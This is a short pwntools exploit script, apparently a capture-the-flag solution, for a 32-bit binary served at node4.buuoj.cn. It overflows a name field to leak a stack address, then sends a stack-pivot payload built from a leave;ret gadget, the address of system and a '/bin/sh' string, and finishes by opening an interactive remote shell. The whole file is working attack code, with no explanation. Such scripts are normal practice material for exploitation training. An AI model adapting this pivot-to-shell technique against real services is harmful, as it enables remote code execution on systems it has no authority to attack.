```
from pwn import *

context.log_level = 'debug'

io = remote("node4.buuoj.cn", 28056)

sys_addr = 0x8048400
leave_ret = 0x80485FD

io.recvuntil("Welcome, my friend. What's your name?")
payload = 'a'*0x26+'bb'
io.send(payload)
io.recvuntil('bb')
stack = u32(io.recv(4))
print(hex(stack))

payload = 'aaaa'+p32(sys_addr)+'aaaa'+p32(stack-40)+'/bin/sh\x00' + 'a'*16+p32(stack-56)+p32(leave_ret)
io.sendline(payload)

io.interactive()
```